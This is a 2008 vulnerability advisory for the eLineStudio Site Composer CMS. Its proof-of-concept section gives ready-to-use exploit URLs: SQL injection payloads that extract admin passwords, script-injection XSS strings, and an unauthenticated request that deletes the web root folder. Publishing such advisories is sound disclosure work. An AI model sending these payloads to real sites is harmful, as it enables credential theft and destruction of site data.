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eLineStudio Site Composer (ESC) <=2.6 Multiple Vulnerabilities

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Date: Thu Jun 19 2008 - 11:17:30 GMT
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('binary' encoding is not supported, stored as-is) ########################## www.BugReport.ir ####################################### # # AmnPardaz Security Research Team # # Title: eLineStudio Site Composer (ESC) <=2.6 Multiple Vulnerabilities # Vendor: www.elinestudio.com # Vulnerable Version: 2.6 and prior versions # Exploit: Available # Impact: High # Fix: N/A
# Original Advisory: www.bugreport.ir/?/45 ################################################################################### ####################
1. Description: #################### eLineStudio Site Composer is a 100% browser-based database-driven content management system that helps companies to better manage, update & share web content. eLineStudio Site Composer provides affordable & flexible licensing for end users & web developers. ####################
2. Vulnerabilities: #################### 2.1. Injection Flaws, Cross Site Scripting (XSS). SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected XSS attack in "/ansFAQ.asp" in "topic" and "button" parameters. 2.1.1. Exploit: Check the exploit/POC section. 2.2. Injection Flaws. SQL Injection in "preview.asp" in "template_id" parameter. 2.2.1. Exploit: Check the exploit/POC section. 2.3. Information Leakage. Database path disclosure in "/cms/include/trigger.asp" and/or "/cms/include/common2.asp". 2.3.1. Exploit: Check the exploit/POC section. 2.4. Failure to Restrict URL Access. Attacker can delete any folder on the server by "/cms/assetmanager/folderdel_.asp". 2.4.1. Exploit: Check the exploit/POC section. 2.5. Failure to Restrict URL Access. Attacker can create folder on the server by "/cms/assetmanager/foldernew.asp". 2.5.1. Exploit: Check the exploit/POC section. 2.6. Cross Site Scripting (XSS). Reflected XSS attack in "login.asp" in "id" and "txtEmail" parameters. 2.6.1. Exploit: Check the exploit/POC section. ####################
3. Exploits/POCs: #################### Original Exploit URL: http://bugreport.ir/index.php?/45/exploit 3.1. SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected XSS attack in "/ansFAQ.asp" in "topic" and "button" parameters.
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Find Admin's password: http://[URL]/ansFAQ.asp?id=-2 union select email,password from [user] where email like '%25admin%25' XSS attacks: http://[URL]/ansFAQ.asp?id=1&topic=</title><script>alert('sdl BugReport.IR XSS')</script> http://[URL]/ansFAQ.asp?id=1&button="><script>alert('sdl BugReport.IR XSS')</script>
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3.2. SQL Injection in "preview.asp" in "template_id" parameter.
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Find Admin's password: http://[URL]/preview.asp?template_id=-1 union select 1,'[%25menu%25]' as date_created,email%2b'<br>'%2bpassword,user.*,user.*,1,2,3,4,5 from [user] where email like '%25admin%25'
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3.3. Database path disclosure in "/cms/include/trigger.asp" and/or "/cms/include/common2.asp".
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http://[URL]/cms/include/trigger.asp http://[URL]/cms/include/common2.asp?id=1
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3.4. Attacker can delete any folder on the server by "/cms/assetmanager/folderdel_.asp".
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http://[URL]/cms/assetmanager/folderdel_.asp?inpCurrFolder=C:\InetPub\wwwroot\
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3.5. Attacker can create folder on the server by "/cms/assetmanager/foldernew.asp".
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http://[URL]/cms/assetmanager/foldernew.asp?inpCurrFolder=c:\inetpub\wwwroot\&inpNewFolderName=test2008
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3.6. Reflected XSS attack in "login.asp" in "id" and "txtEmail" parameters.
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http://[URL]/login.asp?id=1"><script>alert('sdl BugReport.ir XSS')</script> http://[URL]/login.asp?txtEmail=1"><script>alert('sdl BugReport.ir XSS')</script>
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4. Solution: #################### Edit the source code to ensure that inputs are properly sanitized (for 2.1, 2.2, 2.6). Rename the mentioned files in section 2.3, 2.4, 2.5, and wait for vendor patch. ####################
5. Credit: ####################
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